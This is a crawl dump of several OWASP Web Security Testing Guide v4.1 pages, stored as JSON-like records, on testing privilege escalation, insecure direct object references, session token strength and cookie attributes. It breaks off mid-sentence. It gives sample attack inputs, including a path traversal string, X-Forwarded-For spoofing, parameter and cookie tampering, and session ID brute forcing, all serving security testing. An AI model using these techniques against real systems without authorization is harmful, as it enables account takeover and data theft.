\\\n\n \n```\n\nWhat if the tester modifies the value of the variable `profile` to `SysAdmin`? Is it possible to become **administrator**?\n\n#### Manipulation of Condition Value\n\nFor example:\nIn an environment where the server sends an error message contained as a value in a specific parameter in a set of answer codes, as the following:\n\n```\n@0`1`3`3``0`UC`1`Status`OK`SEC`5`1`0`ResultSet`0`PVValid`-1`0`0` Notifications`0`0`3`Command Manager`0`0`0` StateToolsBar`0`0`0`\nStateExecToolBar`0`0`0`FlagsToolBar`0\n```\n\nThe server gives an implicit trust to the user. It believes that the user will answer with the above message closing the session.\n\nIn this condition, verify that it is not possible to escalate privileges by modifying the parameter values. In this particular example, by modifying the `PVValid` value from ‘-1’ to ‘0’ (no error conditions), it may be possible to authenticate as administrator to the server.\n\n#### Manipulation of IP Address\n\nSome websites limit access or count the number of failed login attempts based on IP address.\n\nFor example:\n\n`X-Forwarded-For: 8.1.1.1`\n\nIn this case, if the website uses the value of `X-forwarded-For` as client IP address, tester may change the IP value of the `X-forwarded-For` HTTP header to workaround the IP source identification.\n\n### URL Traversal\n\nTry to traverse the website and check if some of pages that may miss the authorization check.\n\nFor example:\n\n`/../.././userInfo.html`\n\n### WhiteBox\n\nIf the URL authorization check is only done by partial URL match, then it’s likely testers or hackers may workaround the authorization by URL encoding techniques.\n\nFor example:\n\n`startswith(), endswith(), contains(), indexOf()`\n\n### Weak SessionID\n\nWeak Session ID has algorithm may be vulnerable to brute Force attack. For example, one website is using MD5 (Password + UserID) as sessionID. Then, testers may guess or generate the sessionID for other users.\n\n## References\n\n### Whitepapers\n\n- [Wikipedia - Privilege Escalation](https://en.wikipedia.org/wiki/Privilege_escalation)\n\n## Tools\n\n- [OWASP Zed Attack Proxy (ZAP)](https://www.zaproxy.org)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 5397, "slov": 807, "odkazu": 177, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:28", "sha256": "ce1d21c00e6674761bf67b12afa8c827355ba6efff4f0c13391f22fbbdc6e2c3", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://en.wikipedia.org/wiki/Privilege_escalation", "https://www.zaproxy.org/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Insecure Direct Object References"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "The Value of a Parameter Is Used Directly to Retrieve a Database Record"}, {"uroven": 3, "text": "The Value of a Parameter Is Used Directly to Perform an Operation in the System"}, {"uroven": 3, "text": "The Value of a Parameter Is Used Directly to Retrieve a File System Resource"}, {"uroven": 3, "text": "The Value of a Parameter Is Used Directly to Access Application Functionality"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.1\n\n# Testing for Insecure Direct Object References\n\n| ID |\n| --- |\n| WSTG-ATHZ-04 |\n\n## Summary\n\nInsecure Direct Object References occur when an application provides direct access to objects based on user-supplied input. As a result of this vulnerability attackers can bypass authorization and access resources in the system directly, for example database records or files.\nInsecure Direct Object References allow attackers to bypass authorization and access resources directly by modifying the value of a parameter used to directly point to an object. Such resources can be database entries belonging to other users, files in the system, and more. This is caused by the fact that the application takes user supplied input and uses it to retrieve an object without performing sufficient authorization checks.\n\n## How to Test\n\nTo test for this vulnerability the tester first needs to map out all locations in the application where user input is used to reference objects directly. For example, locations where user input is used to access a database row, a file, application pages and more. Next the tester should modify the value of the parameter used to reference objects and assess whether it is possible to retrieve objects belonging to other users or otherwise bypass authorization.\n\nThe best way to test for direct object references would be by having at least two (often more) users to cover different owned objects and functions. For example two users each having access to different objects (such as purchase information, private messages, etc.), and (if relevant) users with different privileges (for example administrator users) to see whether there are direct references to application functionality. By having multiple users the tester saves valuable testing time in guessing different object names as he can attempt to access objects that belong to the other user.\n\nBelow are several typical scenarios for this vulnerability and the methods to test for each:\n\n### The Value of a Parameter Is Used Directly to Retrieve a Database Record\n\nSample request:\n\n`http://foo.bar/somepage?invoice=12345`\n\nIn this case, the value of the *invoice* parameter is used as an index in an invoices table in the database. The application takes the value of this parameter and uses it in a query to the database. The application then returns the invoice information to the user.\n\nSince the value of *invoice* goes directly into the query, by modifying the value of the parameter it is possible to retrieve any invoice object, regardless of the user to whom the invoice belongs. To test for this case the tester should obtain the identifier of an invoice belonging to a different test user (ensuring he is not supposed to view this information per application business logic), and then check whether it is possible to access objects without authorization.\n\n### The Value of a Parameter Is Used Directly to Perform an Operation in the System\n\nSample request:\n\n`http://foo.bar/changepassword?user=someuser`\n\nIn this case, the value of the *user* parameter is used to tell the application for which user it should change the password. In many cases this step will be a part of a wizard, or a multi-step operation. In the first step the application will get a request stating for which user’s password is to be changed, and in the next step the user will provide a new password (without asking for the current one).\n\nThe *user* parameter is used to directly reference the object of the user for whom the password change operation will be performed. To test for this case the tester should attempt to provide a different test username than the one currently logged in, and check whether it is possible to modify the password of another user.\n\n### The Value of a Parameter Is Used Directly to Retrieve a File System Resource\n\nSample request:\n\n`http://foo.bar/showImage?img=img00011`\n\nIn this case, the value of the *file* parameter is used to tell the application what file the user intends to retrieve. By providing the name or identifier of a different file (for example file=image00012.jpg) the attacker will be able to retrieve objects belonging to other users.\n\nTo test for this case, the tester should obtain a reference the user is not supposed to be able to access and attempt to access it by using it as the value of *file* parameter. Note: This vulnerability is often exploited in conjunction with a directory/path traversal vulnerability (see [Testing for Path Traversal](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/05-Authorization_Testing/01-Testing_Directory_Traversal_File_Include))\n\n### The Value of a Parameter Is Used Directly to Access Application Functionality\n\nSample request:\n\n`http://foo.bar/accessPage?menuitem=12`\n\nIn this case, the value of the *menuitem* parameter is used to tell the application which menu item (and therefore which application functionality) the user is attempting to access. Assume the user is supposed to be restricted and therefore has links available only to access to menu items 1, 2 and 3. By modifying the value of *menuitem* parameter it is possible to bypass authorization and access additional application functionality. To test for this case the tester identifies a location where application functionality is determined by reference to a menu item, maps the values of menu items the given test user can access, and then attempts other menu items.\n\nIn the above examples the modification of a single parameter is sufficient. However, sometimes the object reference may be split between more than one parameter, and testing should be adjusted accordingly.\n\n## References\n\n[Top 10 2013-A4-Insecure Direct Object References](https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_Release_Notes)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 5809, "slov": 897, "odkazu": 176, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:29", "sha256": "2b0dd12e8609337a6ae84929aeeb15b38fb949110c86eb828d9c6e6feabcac35", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/05-Authorization_Testing/README", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/05-Authorization_Testing/README", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/05-Authorization_Testing/README", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "4.5 Authorization Testing"}], "markdown": "# WSTG - v4.1\n\n# 4.5 Authorization Testing\n\n4.5.1 [Testing Directory Traversal File Include](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/05-Authorization_Testing/01-Testing_Directory_Traversal_File_Include)\n\n4.5.2 [Testing for Bypassing Authorization Schema](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/05-Authorization_Testing/02-Testing_for_Bypassing_Authorization_Schema)\n\n4.5.3 [Testing for Privilege Escalation](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/05-Authorization_Testing/03-Testing_for_Privilege_Escalation)\n\n4.5.4 [Testing for Insecure Direct Object References](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 918, "slov": 63, "odkazu": 175, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:25", "sha256": "eb01a5a22bd8acf2c81ce442d151eb0698e66d2417048a25a9fb01f7330e0889", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/01-Testing_for_Session_Management_Schema", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/01-Testing_for_Session_Management_Schema", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/01-Testing_for_Session_Management_Schema", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Session Management Schema"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing and Examples"}, {"uroven": 4, "text": "Session Analysis"}, {"uroven": 4, "text": "Session ID Predictability and Randomness"}, {"uroven": 4, "text": "Brute Force Attacks"}, {"uroven": 3, "text": "Gray-Box Testing and Example"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - v4.1\n\n# Testing for Session Management Schema\n\n| ID |\n| --- |\n| WSTG-SESS-01 |\n\n## Summary\n\nOne of the core components of any web-based application is the mechanism by which it controls and maintains the state for a user interacting with it. To avoid continuous authentication for each page of a website or service, web applications implement various mechanisms to store and validate credentials for a pre-determined timespan. These mechanisms are known as Session Management.\n\nIn this test, the tester wants to check that cookies and other session tokens are created in a secure and unpredictable way. An attacker who is able to predict and forge a weak cookie can easily hijack the sessions of legitimate users.\n\nCookies are used to implement session management and are described in detail in RFC 2965. In a nutshell, when a user accesses an application which needs to keep track of the actions and identity of that user across multiple requests, a cookie (or cookies) is generated by the server and sent to the client. The client will then send the cookie back to the server in all following connections until the cookie expires or is destroyed. The data stored in the cookie can provide to the server a large spectrum of information about who the user is, what actions he has performed so far, what his preferences are, etc. therefore providing a state to a stateless protocol like HTTP.\n\nA typical example is provided by an online shopping cart. Throughout the session of a user, the application must keep track of his identity, his profile, the products that he has chosen to buy, the quantity, the individual prices, the discounts, etc. Cookies are an efficient way to store and pass this information back and forth (other methods are URL parameters and hidden fields).\n\nDue to the importance of the data that they store, cookies are therefore vital in the overall security of the application. Being able to tamper with cookies may result in hijacking the sessions of legitimate users, gaining higher privileges in an active session, and in general influencing the operations of the application in an unauthorized way.\n\nIn this test the tester has to check whether the cookies issued to clients can resist a wide range of attacks aimed to interfere with the sessions of legitimate users and with the application itself. The overall goal is to be able to forge a cookie that will be considered valid by the application and that will provide some kind of unauthorized access (session hijacking, privilege escalation, …).\n\nUsually the main steps of the attack pattern are the following:\n\n- **cookie collection** : collection of a sufficient number of cookie samples;\n- **cookie reverse engineering** : analysis of the cookie generation algorithm;\n- **cookie manipulation** : forging of a valid cookie in order to perform the attack. This last step might require a large number of attempts, depending on how the cookie is created (cookie brute-force attack).\n\nAnother pattern of attack consists of overflowing a cookie. Strictly speaking, this attack has a different nature, since here testers are not trying to recreate a perfectly valid cookie. Instead, the goal is to overflow a memory area, thereby interfering with the correct behavior of the application and possibly injecting (and remotely executing) malicious code.\n\n## How to Test\n\n### Black-Box Testing and Examples\n\nAll interaction between the client and application should be tested at least against the following criteria:\n\n- Are all Set-Cookie directives tagged as Secure?\n- Do any Cookie operations take place over unencrypted transport?\n- Can the Cookie be forced over unencrypted transport?\n- If so, how does the application maintain security?\n- Are any Cookies persistent?\n- What Expires= times are used on persistent cookies, and are they reasonable?\n- Are cookies that are expected to be transient configured as such?\n- What HTTP/1.1 Cache-Control settings are used to protect Cookies?\n- What HTTP/1.0 Cache-Control settings are used to protect Cookies?\n\nThe first step required to manipulate the cookie is to understand how the application creates and manages cookies. For this task, testers have to try to answer the following questions:\n\n- How many cookies are used by the application?\n\nSurf the application. Note when cookies are created. Make a list of received cookies, the page that sets them (with the set-cookie directive), the domain for which they are valid, their value, and their characteristics.\n\n- Which parts of the the application generate or modify the cookie?\n\nSurfing the application, find which cookies remain constant and which get modified. What events modify the cookie?\n\n- Which parts of the application require this cookie in order to be accessed and utilized?\n\nFind out which parts of the application need a cookie. Access a page, then try again without the cookie, or with a modified value of it. Try to map which cookies are used where.\n\nA spreadsheet mapping each cookie to the corresponding application parts and the related information can be a valuable output of this phase.\n\n#### Session Analysis\n\nThe session tokens (Cookie, SessionID or Hidden Field) themselves should be examined to ensure their quality from a security perspective. They should be tested against criteria such as their randomness, uniqueness, resistance to statistical and cryptographic analysis and information leakage.\n\n- Token Structure & Information Leakage\n\nThe first stage is to examine the structure and content of a Session ID provided by the application. A common mistake is to include specific data in the Token instead of issuing a generic value and referencing real data at the server side.\n\nIf the Session ID is clear-text, the structure and pertinent data may be immediately obvious as the following:\n\n`192.168.100.1:owaspuser:password:15:58`\n\nIf part or the entire token appears to be encoded or hashed, it should be compared to various techniques to check for obvious obfuscation. For example the string “192.168.100.1:owaspuser:password:15:58” is represented in Hex, Base64 and as an MD5 hash:\n\n- Hex `3139322E3136382E3130302E313A6F77617370757365723A70617373776F72643A31353A3538`\n- Base64 `MTkyLjE2OC4xMDAuMTpvd2FzcHVzZXI6cGFzc3dvcmQ6MTU6NTg=`\n- MD5 `01c2fc4f0a817afd8366689bd29dd40a`\n\nHaving identified the type of obfuscation, it may be possible to decode back to the original data. In most cases, however, this is unlikely. Even so, it may be useful to enumerate the encoding in place from the format of the message. Furthermore, if both the format and obfuscation technique can be deduced, automated brute-force attacks could be devised.\n\nHybrid tokens may include information such as IP address or User ID together with an encoded portion, as the following:\n\n`owaspuser:192.168.100.1:a7656fafe94dae72b1e1487670148412`\n\nHaving analyzed a single session token, the representative sample should be examined. A simple analysis of the tokens should immediately reveal any obvious patterns. For example, a 32 bit token may include 16 bits of static data and 16 bits of variable data. This may indicate that the first 16 bits represent a fixed attribute of the user – e.g. the username or IP address. If the second 16 bit chunk is incrementing at a regular rate, it may indicate a sequential or even time-based element to the token generation. See examples.\n\nIf static elements to the Tokens are identified, further samples should be gathered, varying one potential input element at a time. For example, log in attempts through a different user account or from a different IP address may yield a variance in the previously static portion of the session token.\n\nThe following areas should be addressed during the single and multiple Session ID structure testing:\n\n- What parts of the Session ID are static?\n- What clear-text confidential information is stored in the Session ID? E.g. usernames/UID, IP addresses\n- What easily decoded confidential information is stored?\n- What information can be deduced from the structure of the Session ID?\n- What portions of the Session ID are static for the same log in conditions?\n- What obvious patterns are present in the Session ID as a whole, or individual portions?\n\n#### Session ID Predictability and Randomness\n\nAnalysis of the variable areas (if any) of the Session ID should be undertaken to establish the existence of any recognizable or predictable patterns. These analyses may be performed manually and with bespoke or OTS statistical or cryptanalytic tools to deduce any patterns in the Session ID content. Manual checks should include comparisons of Session IDs issued for the same login conditions – e.g., the same username, password, and IP address.\n\nTime is an important factor which must also be controlled. High numbers of simultaneous connections should be made in order to gather samples in the same time window and keep that variable constant. Even a quantization of 50ms or less may be too coarse and a sample taken in this way may reveal time-based components that would otherwise be missed.\n\nVariable elements should be analyzed over time to determine whether they are incremental in nature. Where they are incremental, patterns relating to absolute or elapsed time should be investigated. Many systems use time as a seed for their pseudo-random elements. Where the patterns are seemingly random, one-way hashes of time or other environmental variations should be considered as a possibility. Typically, the result of a cryptographic hash is a decimal or hexadecimal number so should be identifiable.\n\nIn analyzing Session ID sequences, patterns or cycles, static elements and client dependencies should all be considered as possible contributing elements to the structure and function of the application.\n\n- Are the Session IDs provably random in nature? Can the resulting values be reproduced?\n- Do the same input conditions produce the same ID on a subsequent run?\n- Are the Session IDs provably resistant to statistical or cryptanalysis?\n- What elements of the Session IDs are time-linked?\n- What portions of the Session IDs are predictable?\n- Can the next ID be deduced, given full knowledge of the generation algorithm and previous IDs?\n\nNow that the tester has enumerated the cookies and has a general idea of their use, it is time to have a deeper look at cookies that seem interesting. Which cookies is the tester interested in? A cookie, in order to provide a secure method of session management, must combine several characteristics, each of which is aimed at protecting the cookie from a different class of attacks.\n\nThese characteristics are summarized below:\n\n1. Unpredictability: a cookie must contain some amount of hard-to-guess data. The harder it is to forge a valid cookie, the harder is to break into legitimate user’s session. If an attacker can guess the cookie used in an active session of a legitimate user, they will be able to fully impersonate that user (session hijacking). In order to make a cookie unpredictable, random values or cryptography can be used.\n2. Tamper resistance: a cookie must resist malicious attempts of modification. If the tester receives a cookie like IsAdmin=No, it is trivial to modify it to get administrative rights, unless the application performs a double check (for instance, appending to the cookie an encrypted hash of its value)\n3. Expiration: a critical cookie must be valid only for an appropriate period of time and must be deleted from the disk or memory afterwards to avoid the risk of being replayed. This does not apply to cookies that store non-critical data that needs to be remembered across sessions (e.g., site look-and-feel).\n4. “Secure” flag: a cookie whose value is critical for the integrity of the session should have this flag enabled in order to allow its transmission only in an encrypted channel to deter eavesdropping.\n\nThe approach here is to collect a sufficient number of instances of a cookie and start looking for patterns in their value. The exact meaning of “sufficient” can vary from a handful of samples, if the cookie generation method is very easy to break, to several thousands, if the tester needs to proceed with some mathematical analysis (e.g., chi-squares, attractors. See later for more information).\n\nIt is important to pay particular attention to the workflow of the application, as the state of a session can have a heavy impact on collected cookies. A cookie collected before being authenticated can be very different from a cookie obtained after the authentication.\n\nAnother aspect to keep into consideration is time. Always record the exact time when a cookie has been obtained, when there is the possibility that time plays a role in the value of the cookie (the server could use a time stamp as part of the cookie value). The time recorded could be the local time or the server’s time stamp included in the HTTP response (or both).\n\nWhen analyzing the collected values, the tester should try to figure out all variables that could have influenced the cookie value and try to vary them one at the time. Passing to the server modified versions of the same cookie can be very helpful in understanding how the application reads and processes the cookie.\n\nExamples of checks to be performed at this stage include:\n\n- What character set is used in the cookie? Has the cookie a numeric value? alphanumeric? hexadecimal? What happens if the tester inserts in a cookie characters that do not belong to the expected charset?\n- Is the cookie composed of different sub-parts carrying different pieces of information? How are the different parts separated? With which delimiters? Some parts of the cookie could have a higher variance, others might be constant, others could assume only a limited set of values. Breaking down the cookie to its base components is the first and fundamental step.\n\nAn example of an easy-to-spot structured cookie is the following:\n\n`ID=5a0acfc7ffeb919:CR=1:TM=1120514521:LM=1120514521:S=j3am5KzC4v01ba3q`\n\nThis example shows 5 different fields, carrying different types of data:\n\n- ID – hexadecimal\n- CR – small integer\n- TM and LM – large integer. (And curiously they hold the same value. Worth to see what happens modifying one of them)\n- S – alphanumeric\n\nEven when no delimiters are used, having enough samples can help. As an example, let’s look at the following series:\n\n`0123456789abcdef`\n\n#### Brute Force Attacks\n\nBrute force attacks inevitably lead on from questions relating to predictability and randomness. The variance within the Session IDs must be considered together with application session duration and timeouts. If the variation within the Session IDs is relatively small, and Session ID validity is long, the likelihood of a successful brute-force attack is much higher.\n\nA long Session ID (or rather one with a great deal of variance) and a shorter validity period would make it far harder to succeed in a brute force attack.\n\n- How long would a brute-force attack on all possible Session IDs take?\n- Is the Session ID space large enough to prevent brute forcing? For example, is the length of the key sufficient when compared to the valid life-span?\n- Do delays between connection attempts with different Session IDs mitigate the risk of this attack?\n\n### Gray-Box Testing and Example\n\nIf the tester has access to the session management schema implementation, they can check for the following:\n\n- Random Session Token\n\nThe Session ID or Cookie issued to the client should not be easily predictable (don’t use linear algorithms based on predictable variables such as the client IP address). The use of cryptographic algorithms with key length of 256 bits is encouraged (like AES).\n\n- Token length\n\nSession ID will be at least 50 characters length.\n\n- Session Time-out\n\nSession token should have a defined time-out (it depends on the criticality of the application managed data)\n\n- Cookie configuration:\n - non-persistent: only RAM memory\n - secure (set only on HTTPS channel): `Set-Cookie: cookie=data; path=/; domain=.aaa.it; secure`\n - [HTTPOnly](https://owasp.org/www-community/HttpOnly) (not readable by a script): `Set-Cookie: cookie=data; path=/; domain=.aaa.it; HttpOnly`\n\nMore information here: [Testing for cookies attributes](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/02-Testing_for_Cookies_Attributes)\n\n## Tools\n\n- [OWASP Zed Attack Proxy Project (ZAP)](https://www.zaproxy.org) - features a session token analysis mechanism.\n- [Burp Sequencer](https://portswigger.net/burp/documentation/desktop/tools/sequencer)\n- [YEHG’s JHijack](https://github.com/yehgdotnet/JHijack)\n\n## References\n\n### Whitepapers\n\n- [RFC 2965 “HTTP State Management Mechanism”](https://tools.ietf.org/html/rfc2965)\n- [RFC 1750 “Randomness Recommendations for Security”](https://www.ietf.org/rfc/rfc1750.txt)\n- [Michal Zalewski: “Strange Attractors and TCP/IP Sequence Number Analysis” (2001)](http://lcamtuf.coredump.cx/oldtcp/tcpseq.html)\n- [Michal Zalewski: “Strange Attractors and TCP/IP Sequence Number Analysis - One Year Later” (2002)](http://lcamtuf.coredump.cx/newtcp/)\n- [Correlation Coefficient](http://mathworld.wolfram.com/CorrelationCoefficient.html)\n- [ENT](https://fourmilab.ch/random/)\n- [https://seclists.org/lists/fulldisclosure/2005/Jun/0188.html](https://seclists.org/lists/fulldisclosure/2005/Jun/0188.html)\n- [Gunter Ollmann: “Web Based Session Management”](http://www.technicalinfo.net)\n- [OWASP Code Review Guide](https://wiki.owasp.org/index.php/Category:OWASP_Code_Review_Project)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 17454, "slov": 2655, "odkazu": 188, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:31", "sha256": "28f6aa61af6456b9d803c7d6fdcd413997215aedf391854d8e1e4fd70debd4c8", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.zaproxy.org/", "https://portswigger.net/burp/documentation/desktop/tools/sequencer", "https://github.com/yehgdotnet/JHijack", "https://tools.ietf.org/html/rfc2965", "https://www.ietf.org/rfc/rfc1750.txt", "http://lcamtuf.coredump.cx/oldtcp/tcpseq.html", "http://lcamtuf.coredump.cx/newtcp/", "http://mathworld.wolfram.com/CorrelationCoefficient.html", "https://fourmilab.ch/random/", "https://seclists.org/lists/fulldisclosure/2005/Jun/0188.html", "http://www.technicalinfo.net/", "https://wiki.owasp.org/index.php/Category:OWASP_Code_Review_Project", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/02-Testing_for_Cookies_Attributes", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/02-Testing_for_Cookies_Attributes", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/02-Testing_for_Cookies_Attributes", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Cookies Attributes"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 4, "text": "Secure Attribute"}, {"uroven": 4, "text": "HttpOnly Attribute"}, {"uroven": 4, "text": "Domain Attribute"}, {"uroven": 4, "text": "Path Attribute"}, {"uroven": 4, "text": "Expires Attribute"}, {"uroven": 4, "text": "SameSite Attribute"}, {"uroven": 5, "text": "Strict Value"}, {"uroven": 5, "text": "Lax Value"}, {"uroven": 5, "text": "None Value"}, {"uroven": 4, "text": "Host Prefix"}, {"uroven": 4, "text": "Secure Prefix"}, {"uroven": 3, "text": "Strong Practices"}, {"uroven": 2, "text": "Tools"}, {"uroven": 3, "text": "Intercepting Proxy"}, {"uroven": 3, "text": "Browser Plug-in"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.1\n\n# Testing for Cookies Attributes\n\n| ID |\n| --- |\n| WSTG-SESS-02 |\n\n## Summary\n\nWeb Cookies (herein referred to as cookies) are often a key attack vector for malicious users (typically targeting other users) and the application should always take due diligence to protect cookies.\n\nHTTP is a stateless protocol, meaning that it doesn’t hold any reference to requests being sent by the same user. In order to fix this issue, sessions were created and appended to HTTP requests. Browsers, as discussed in [testing browser storage](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/12-Testing_Browser_Storage), contain a multitude of storage mechanisms. In that section of the guide, each is discussed thoroughly.\n\nThe most used session storage mechanism in browsers is cookie storage. Cookies can be set by the server, by including a [`Set-Cookie`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie) header in the HTTP response or via JavaScript. Cookies can be used for a multitude of reasons, such as:\n\n- session management\n- personalization\n- tracking\n\nIn order to secure cookie data, the industry has developed means to help lock down these cookies and limit their attack surface. Over time cookies have become a preferred storage mechanism for web applications, as they allow great flexibility in use and protection.\n\nThe means to protect the cookies are:\n\n- [Cookie Attributes](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#Creating_cookies)\n- [Cookie Prefixes](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#Cookie_prefixes)\n\n## Test Objectives\n\nTesters should be aware of all cookies being set, and that the proper security 